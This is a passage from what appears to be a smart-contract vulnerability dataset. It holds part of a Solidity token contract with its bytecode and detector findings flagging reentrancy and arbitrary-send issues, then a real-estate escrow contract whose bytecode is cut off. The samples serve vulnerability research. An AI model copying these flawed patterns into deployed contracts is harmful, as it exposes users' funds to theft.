_getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061010d5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102d9578063a9059cbb14610308578063c3c8cd8014610328578063c9567bf91461033d578063dd62ed3e1461035257600080fd5b80636fc3eaec1461026757806370a082311461027c578063715018a61461029c5780638da5cb5b146102b157600080fd5b806323b872dd116100dc57806323b872dd146101d65780632ab30838146101f6578063313ce5671461020b578063537df3b6146102275780635932ead11461024757600080fd5b806306fdde031461011957806308aad1f114610160578063095ea7b31461018257806318160ddd146101b257600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600c81526b21b432b2b9b2902a37b5b2b760a11b60208201525b60405161015791906113a6565b60405180910390f35b34801561016c57600080fd5b5061018061017b366004611410565b610398565b005b34801561018e57600080fd5b506101a261019d36600461142d565b610404565b6040519015158152602001610157565b3480156101be57600080fd5b5066038d7ea4c680005b604051908152602001610157565b3480156101e257600080fd5b506101a26101f1366004611459565b61041b565b34801561020257600080fd5b50610180610484565b34801561021757600080fd5b5060405160098152602001610157565b34801561023357600080fd5b50610180610242366004611410565b6104bb565b34801561025357600080fd5b506101806102623660046114a8565b61051e565b34801561027357600080fd5b50610180610566565b34801561028857600080fd5b506101c8610297366004611410565b610593565b3480156102a857600080fd5b506101806105b5565b3480156102bd57600080fd5b506000546040516001600160a01b039091168152602001610157565b3480156102e557600080fd5b5060408051808201909152600681526543686565736560d01b602082015261014a565b34801561031457600080fd5b506101a261032336600461142d565b610629565b34801561033457600080fd5b50610180610636565b34801561034957600080fd5b5061018061066c565b34801561035e57600080fd5b506101c861036d3660046114c5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103cb5760405162461bcd60e51b81526004016103c2906114fe565b60405180910390fd5b600f80549060006103db83611549565b90915550506001600160a01b03166000908152600660205260409020805460ff19166001179055565b60006104113384846109fe565b5060015b92915050565b6000610428848484610b22565b61047a8433610475856040518060600160405280602881526020016116c4602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610cd1565b6109fe565b5060019392505050565b6000546001600160a01b031633146104ae5760405162461bcd60e51b81526004016103c2906114fe565b66038d7ea4c68000601255565b6000546001600160a01b031633146104e55760405162461bcd60e51b81526004016103c2906114fe565b6001600f60008282546104f89190611564565b90915550506001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105485760405162461bcd60e51b81526004016103c2906114fe565b60118054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b03161461058657600080fd5b4761059081610d0b565b50565b6001600160a01b03811660009081526002602052604081205461041590610d45565b6000546001600160a01b031633146105df5760405162461bcd60e51b81526004016103c2906114fe565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610411338484610b22565b600e546001600160a01b0316336001600160a01b03161461065657600080fd5b600061066130610593565b905061059081610dc9565b6000546001600160a01b031633146106965760405162461bcd60e51b81526004016103c2906114fe565b601154600160a01b900460ff16156106f05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103c2565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561072b308266038d7ea4c680006109fe565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610769573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078d919061157b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fe919061157b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561084b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086f919061157b565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d719473061089f81610593565b6000806108b46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561091c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109419190611598565b50506011805461ffff60b01b191661010160b01b1790555061096b606466038d7ea4c680006115c6565b60125560118054600160a01b60ff60a01b1982161790915560105460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af11580156109d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fa91906115e8565b5050565b6001600160a01b038316610a605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c2565b6001600160a01b038216610ac15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610b845760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103c2565b6001600160a01b03831660009081526006602052604090205460ff1615610baa57600080fd5b6001600160a01b0383163014610ca057600a54600c55600b54600d556000610bd130610593565b90506006600f54108015610bf357506011546001600160a01b03848116911614155b15610c3157600f8054906000610c0883611549565b90915550506001600160a01b0383166000908152600660205260409020805460ff191660011790555b601154600160a81b900460ff16158015610c5957506011546001600160a01b03858116911614155b8015610c6e5750601154600160b01b900460ff165b15610c9e578015610c8257610c8281610dc9565b4767016345785d8a0000811115610c9c57610c9c47610d0b565b505b505b6000546001600160a01b0384811691161415610cc1576000600d819055600c555b610ccc838383610f43565b505050565b60008184841115610cf55760405162461bcd60e51b81526004016103c291906113a6565b506000610d028486611564565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156109fa573d6000803e3d6000fd5b6000600854821115610dac5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103c2565b6000610db6610f4e565b9050610dc28382610f71565b9392505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e1157610e11611605565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e8e919061157b565b81600181518110610ea157610ea1611605565b6001600160a01b039283166020918202929092010152601054610ec791309116846109fe565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f0090859060009086903090429060040161161b565b600060405180830381600087803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b610ccc838383610fb3565b6000806000610f5b6110aa565b9092509050610f6a8282610f71565b9250505090565b6000610dc283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110e8565b600080600080600080610fc587611116565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610ff79087611173565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461102690866111b5565b6001600160a01b03891660009081526002602052604090205561104881611214565b611052848361125e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161109791815260200190565b60405180910390a3505050505050505050565b600854600090819066038d7ea4c680006110c48282610f71565b8210156110df5750506008549266038d7ea4c6800092509050565b90939092509050565b600081836111095760405162461bcd60e51b81526004016103c291906113a6565b506000610d0284866115c6565b60008060008060008060008060006111338a600c54600d54611282565b9250925092506000611143610f4e565b905060008060006111568e8787876112d7565b919e509c509a509598509396509194505050505091939550919395565b6000610dc283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cd1565b6000806111c2838561168c565b905083811015610dc25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c2565b600061121e610f4e565b9050600061122c8383611327565b3060009081526002602052604090205490915061124990826111b5565b30600090815260026020526040902055505050565b60085461126b9083611173565b60085560095461127b90826111b5565b6009555050565b600080808061129c60646112968989611327565b90610f71565b905060006112af60646112968a89611327565b905060006112c7826112c18b86611173565b90611173565b9992985090965090945050505050565b60008080806112e68886611327565b905060006112f48887611327565b905060006113028888611327565b90506000611314826112c18686611173565b939b939a50919850919650505050505050565b60008261133657506000610415565b600061134283856116a4565b90508261134f85836115c6565b14610dc25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103c2565b600060208083528351808285015260005b818110156113d3578581018301518582016040015282016113b7565b818111156113e5576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461059057600080fd5b60006020828403121561142257600080fd5b8135610dc2816113fb565b6000806040838503121561144057600080fd5b823561144b816113fb565b946020939093013593505050565b60008060006060848603121561146e57600080fd5b8335611479816113fb565b92506020840135611489816113fb565b929592945050506040919091013590565b801515811461059057600080fd5b6000602082840312156114ba57600080fd5b8135610dc28161149a565b600080604083850312156114d857600080fd5b82356114e3816113fb565b915060208301356114f3816113fb565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600060001982141561155d5761155d611533565b5060010190565b60008282101561157657611576611533565b500390565b60006020828403121561158d57600080fd5b8151610dc2816113fb565b6000806000606084860312156115ad57600080fd5b8351925060208401519150604084015190509250925092565b6000826115e357634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156115fa57600080fd5b8151610dc28161149a565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561166b5784516001600160a01b031683529383019391830191600101611646565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561169f5761169f611533565b500190565b60008160001904831182151516156116be576116be611533565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122058a5677c53c900a8a30cf538b6f2a927f6381b04c5a483b1eb9f13b0c46463b764736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,848
0x89b1e9f46d0f1d1a59c7611fc50d6a1498e63159
/** * @title smart real estate platform implementation * @author Maxim Akimov - <devstylesoftware@gmail.com> */ // ver from 23/06/2018 v0.3 pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; address public ownerCandidat; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public{ require(newOwner != address(0)); ownerCandidat = newOwner; } /** * @dev Allows safe change current owner to a newOwner. */ function confirmOwnership() public{ require(msg.sender == ownerCandidat); owner = msg.sender; } } contract realestate is Ownable{ using SafeMath for uint; enum statuses { created,canceled,signed,finished } struct _dealData{ address buyer; address seller; address signer; uint sum; uint fee; uint atCreated; uint atClosed; uint balance; statuses status; uint dealNumber; string comment; uint objectType; // 0 - old 1 - new uint date; bool isProlong; } struct _dealSigns{ address signBuyer; address signSeller; address finishSignBuyer; address finishSignSeller; address finishSignSigner; } event MoneyTransfer( address indexed _from, address indexed _to, uint _value ); address public agencyOwner; address public agencyReceiver; _dealData[] private deals; _dealSigns[] private signs; mapping (uint=>uint) private dealNumbers; // **************** modifiers **************** // modifier onlyAgency(){ require(msg.sender == agencyOwner); _; } modifier onlySigner(uint _dealNumber){ uint deal = dealNumbers[_dealNumber]; require(msg.sender == deals[deal].signer); _; } constructor() public{ agencyOwner = msg.sender; agencyReceiver = msg.sender; } /** * @dev Change eth address of agency for create deal * @param _newAgency - new agency eth address */ function changeAgencyOwner(address _newAgency) public { require(msg.sender == agencyOwner || msg.sender == owner); agencyOwner = _newAgency; } /** * @dev Change eth address of agency for recieve fee * @param _agencyReceiver - new agency eth address */ function changeAgencyReceiver (address _agencyReceiver) public{ require(msg.sender == agencyOwner || msg.sender == owner); agencyReceiver = _agencyReceiver; } /** * @dev to prolongate a deal for some days * @param _dealNumber - uniq number of deal * @param _days - count of days from current time */ function changeDealDate(uint _dealNumber, uint _days) onlyAgency public{ uint deal = dealNumbers[_dealNumber]; require(deals[deal].isProlong); deals[deal].date = now + _days * 1 days; } /** * @dev Get all signs of deal by _dealNumber * @param _dealNumber - uniq number of deal */ function getSigns(uint _dealNumber) constant public returns ( address signBuyer, address signSeller, address finishSignBuyer, address finishSignSeller, address finishSignSigner){ uint deal = dealNumbers[_dealNumber]; return ( signs[deal].signBuyer, signs[deal].signSeller, signs[deal].finishSignBuyer, signs[deal].finishSignSeller, signs[deal].finishSignSigner ); } /** * @dev Get main data of deal by _dealNumber * @param _dealNumber - uniq number of deal */ function getDealByNumber(uint _dealNumber) constant public returns ( address buyer, address sender, address agency, uint sum, uint atCreated, statuses status, uint objectType) { uint deal = dealNumbers[_dealNumber]; return ( deals[deal].buyer, deals[deal].seller, deals[deal].signer, deals[deal].sum, deals[deal].atCreated, deals[deal].status, deals[deal].objectType ); } /** * @dev Get lenght of priviate array deals (for agency only) */ function getDealsLength() onlyAgency constant public returns (uint len){ return deals.length; } /** * @dev Get main data of deal * @param deal - uniq id from priviate array deals */ function getDealById(uint deal) onlyAgency constant public returns ( address buyer, address sender, address agency, uint sum, uint atCreated, statuses status, uint objectType, uint dealID) { return ( deals[deal].buyer, deals[deal].seller, deals[deal].signer, deals[deal].sum, deals[deal].atCreated, deals[deal].status, deals[deal].objectType, deal ); } /** * @dev Get comment, fee, atCloced, date, is prolong of deal * @param _dealNumber - uniq number of deal */ function getDealDataByNumber(uint _dealNumber) constant public returns ( string comment, uint fee, uint atClosed, uint date, bool isProlong) { uint deal = dealNumbers[_dealNumber]; return ( deals[deal].comment, deals[deal].fee, deals[deal].atClosed, deals[deal].date, deals[deal].isProlong ); } /** * @dev function for create deal by agency owner only * @param _buyer - eth address of buyer * @param _seller - eth address of seller * @param _signer - eth address of signer (how cah canceled deal) * @param _sum - sum of the deal (in wei) * @param _fee - fee of the deal (in wei) * @param _objectType - type of property (0 - old, 1 - new) * @param _dealNumber - uniq number of deal * @param _comment - any text coment of the deal * @param whoPay - point out who pay fee of the deal (0 - buyer, 1 - seller) * @param _countDays - Hoe many days allow for deal processing * @param _isProlong - Allow to prolongate deal, if true */ function addDeal( address _buyer, address _seller, address _signer, uint _sum, uint _fee, uint _objectType, uint _dealNumber, string _comment, uint whoPay, uint _countDays, bool _isProlong) onlyAgency public{ if(whoPay ==0){ _sum = _sum.add(_fee); } uint newIndex = deals.length++; signs.length ++; deals[newIndex].buyer = _buyer; deals[newIndex].seller = _seller; deals[newIndex].signer = _signer; deals[newIndex].sum = _sum; deals[newIndex].fee = _fee; deals[newIndex].date = now + _countDays * 1 days; deals[newIndex].isProlong = _isProlong; deals[newIndex].atCreated = now; deals[newIndex].comment = _comment; deals[newIndex].status = statuses.created; deals[newIndex].balance = 0; deals[newIndex].objectType = _objectType; deals[newIndex].dealNumber = _dealNumber; dealNumbers[_dealNumber] = newIndex; signs[newIndex].signBuyer = 0x0; signs[newIndex].signSeller = 0x0; signs[newIndex].finishSignSeller = 0x0; signs[newIndex].finishSignBuyer = 0x0; signs[newIndex].finishSignSigner = 0x0; } /** * @dev function for sign deal by buyer and for transfer money (call after sign seller only) * @param _dealNumber (deal number) */ function signBuyer(uint _dealNumber) public payable{ uint deal = dealNumbers[_dealNumber]; //If sign of buyer is mpty and sender it is buyer for this deal require(signs[deal].signBuyer == 0x0 && msg.sender == deals[deal].buyer); require(signs[deal].signSeller == deals[deal].seller); //Check, value of tx need >= summ of deal //TODO: need change maker!!!! require(deals[deal].sum == msg.value); signs[deal].signBuyer = msg.sender; deals[deal].balance = msg.value; deals[deal].status = statuses.signed; } /** * @dev function for sign deal by seller (in start and before buyer) * @param _dealNumber (deal number) */ function signSeller(uint _dealNumber) public { uint deal = dealNumbers[_dealNumber]; //If sign of seller is empty and sender it is seller for this deal require(signs[deal].signSeller == 0x0 && msg.sender == deals[deal].seller); signs[deal].signSeller = msg.sender; } // Agency sign /* function signAgency(uint _dealNumber) onlyAgency public { uint deal = dealNumbers[_dealNumber]; //If sign of Agency is empty and sender it is agency for this deal require(deals[deal].signAgency == 0x0); deals[deal].signAgency = msg.sender; }*/ /** * @dev function for buyer (for mmoney refund after time of the deal) * @param _dealNumber (deal number) */ function refund(uint _dealNumber) public{ uint deal = dealNumbers[_dealNumber]; require(now > deals[deal].date && deals[deal].balance > 0 && msg.sender == deals[deal].buyer); deals[deal].buyer.transfer(deals[deal].balance); deals[deal].balance = 0; } /** * @dev function for sign in end of the deal (for finis need 2 sign from 3) * @param _dealNumber (deal number) */ function finishDeal(uint _dealNumber) public{ uint deal = dealNumbers[_dealNumber]; require(deals[deal].balance > 0 && deals[deal].status == statuses.signed ); //SIGNING..... if(msg.sender == deals[deal].buyer){ signs[deal].finishSignBuyer = msg.sender; } if(msg.sender == deals[deal].seller){ signs[deal].finishSignSeller = msg.sender; } if(msg.sender ==deals[deal].signer){ signs[deal].finishSignSigner = msg.sender; } ////////////////////////// uint signCount = 0; if(deals[deal].buyer == signs[deal].finishSignBuyer){ signCount++; } if(deals[deal].seller == signs[deal].finishSignSeller){ signCount++; } if(deals[deal].signer == signs[deal].finishSignSigner){ signCount++; } if(signCount >= 2){ //transfer fund to seller deals[deal].seller.transfer(deals[deal].sum - deals[deal].fee); emit MoneyTransfer(this,deals[deal].seller,deals[deal].sum-deals[deal].fee); //transer fund to agency (fee) agencyReceiver.transfer(deals[deal].fee); emit MoneyTransfer(this,agencyReceiver,deals[deal].fee); deals[deal].balance = 0; deals[deal].status = statuses.finished; deals[deal].atClosed = now; } } /** * @dev function for cancel deal (accessable ony for signer of current deal) * @param _dealNumber (deal number) */ function cancelDeal(uint _dealNumber) onlySigner(_dealNumber) public{ uint deal = dealNumbers[_dealNumber]; require(deals[deal].balance > 0 && deals[deal].status == statuses.signed); deals[deal].buyer.transfer(deals[deal].balance); emit MoneyTransfer(this,deals[deal].buyer,deals[deal].balance); deals[deal].balance = 0; deals[deal].status = statuses.canceled; deals[deal].atClosed = now; } }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306a5f087146101175780630aba73d7146101445780630fab14e814610248578063278ecde11461029f57806331ea1a39146102cc5780634b3c45db146102f95780634c480c2a146103bf5780635030c32514610416578063564e406f1461043657806363176ad9146104795780636fc39a38146104b057806377daeb80146104f35780638da5cb5b14610604578063a64590421461065b578063a6f7257a146106b2578063a99da6af146107eb578063d5d1e77014610818578063eddfcffa1461082f578063f2fde38b1461085a578063f4bbd5d41461089d575b600080fd5b34801561012357600080fd5b506101426004803603810190808035906020019092919050505061099a565b005b34801561015057600080fd5b5061016f60048036038101908080359060200190929190505050610af1565b604051808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200186815260200185815260200184600381111561022157fe5b60ff1681526020018381526020018281526020019850505050505050505060405180910390f35b34801561025457600080fd5b5061025d610cc9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102ab57600080fd5b506102ca60048036038101908080359060200190929190505050610cef565b005b3480156102d857600080fd5b506102f760048036038101908080359060200190929190505050610ea9565b005b34801561030557600080fd5b50610324600480360381019080803590602001909291905050506111d1565b604051808060200186815260200185815260200184815260200183151515158152602001828103825287818151815260200191508051906020019080838360005b83811015610380578082015181840152602081019050610365565b50505050905090810190601f1680156103ad5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b3480156103cb57600080fd5b506103d4611352565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61043460048036038101908080359060200190929190505050611378565b005b34801561044257600080fd5b50610477600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061161e565b005b34801561048557600080fd5b506104ae6004803603810190808035906020019092919080359060200190929190505050611715565b005b3480156104bc57600080fd5b506104f1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117f3565b005b3480156104ff57600080fd5b50610602600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929080359060200190929190803590602001909291908035151590602001909291905050506118ea565b005b34801561061057600080fd5b50610619611e6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561066757600080fd5b50610670611e94565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106be57600080fd5b506106dd60048036038101908080359060200190929190505050611eba565b604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019550505050505060405180910390f35b3480156107f757600080fd5b5061081660048036038101908080359060200190929190505050612032565b005b34801561082457600080fd5b5061082d6128fd565b005b34801561083b57600080fd5b5061084461299b565b6040518082815260200191505060405180910390f35b34801561086657600080fd5b5061089b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a04565b005b3480156108a957600080fd5b506108c860048036038101908080359060200190929190505050612adf565b604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200185815260200184815260200183600381111561097a57fe5b60ff16815260200182815260200197505050505050505060405180910390f35b60006006600083815260200190815260200160002054905060006005828154811015156109c357fe5b906000526020600020906005020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610a835750600481815481101515610a2257fe5b90600052602060002090600e020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610a8e57600080fd5b33600582815481101515610a9e57fe5b906000526020600020906005020160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600080600080600080600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b5957600080fd5b600489815481101515610b6857fe5b90600052602060002090600e020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660048a815481101515610ba957fe5b90600052602060002090600e020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660048b815481101515610bea57fe5b90600052602060002090600e020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660048c815481101515610c2b57fe5b90600052602060002090600e02016003015460048d815481101515610c4c57fe5b90600052602060002090600e02016005015460048e815481101515610c6d57fe5b90600052602060002090600e020160080160009054906101000a900460ff1660048f815481101515610c9b57fe5b90600052602060002090600e0201600b01548f97509750975097509750975097509750919395975091939597565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060066000838152602001908152602001600020549050600481815481101515610d1657fe5b90600052602060002090600e0201600c015442118015610d5657506000600482815481101515610d4257fe5b90600052602060002090600e020160070154115b8015610dcd5750600481815481101515610d6c57fe5b90600052602060002090600e020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610dd857600080fd5b600481815481101515610de757fe5b90600052602060002090600e020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600483815481101515610e4157fe5b90600052602060002090600e0201600701549081150290604051600060405180830381858888f19350505050158015610e7e573d6000803e3d6000fd5b506000600482815481101515610e9057fe5b90600052602060002090600e0201600701819055505050565b600081600060066000838152602001908152602001600020549050600481815481101515610ed357fe5b90600052602060002090600e020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f3e57600080fd5b600660008581526020019081526020016000205492506000600484815481101515610f6557fe5b90600052602060002090600e020160070154118015610fc7575060026003811115610f8c57fe5b600484815481101515610f9b57fe5b90600052602060002090600e020160080160009054906101000a900460ff166003811115610fc557fe5b145b1515610fd257600080fd5b600483815481101515610fe157fe5b90600052602060002090600e020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60048581548110151561103b57fe5b90600052602060002090600e0201600701549081150290604051600060405180830381858888f19350505050158015611078573d6000803e3d6000fd5b5060048381548110151561108857fe5b90600052602060002090600e020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fb84bdcbbb2d10fbf5aee51df68c6d83f7700948158de89ec136b5bfcd000c3ff60048681548110151561111757fe5b90600052602060002090600e0201600701546040518082815260200191505060405180910390a3600060048481548110151561114f57fe5b90600052602060002090600e020160070181905550600160048481548110151561117557fe5b90600052602060002090600e020160080160006101000a81548160ff021916908360038111156111a157fe5b0217905550426004848154811015156111b657fe5b90600052602060002090600e02016006018190555050505050565b606060008060008060006006600088815260200190815260200160002054905060048181548110151561120057fe5b90600052602060002090600e0201600a0160048281548110151561122057fe5b90600052602060002090600e02016004015460048381548110151561124157fe5b90600052602060002090600e02016006015460048481548110151561126257fe5b90600052602060002090600e0201600c015460048581548110151561128357fe5b90600052602060002090600e0201600d0160009054906101000a900460ff16848054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113375780601f1061130c57610100808354040283529160200191611337565b820191906000526020600020905b81548152906001019060200180831161131a57829003601f168201915b50505050509450955095509550955095505091939590929450565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006006600083815260200190815260200160002054905060006005828154811015156113a157fe5b906000526020600020906005020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015611461575060048181548110151561140057fe5b90600052602060002090600e020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561146c57600080fd5b60048181548110151561147b57fe5b90600052602060002090600e020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166005828154811015156114d257fe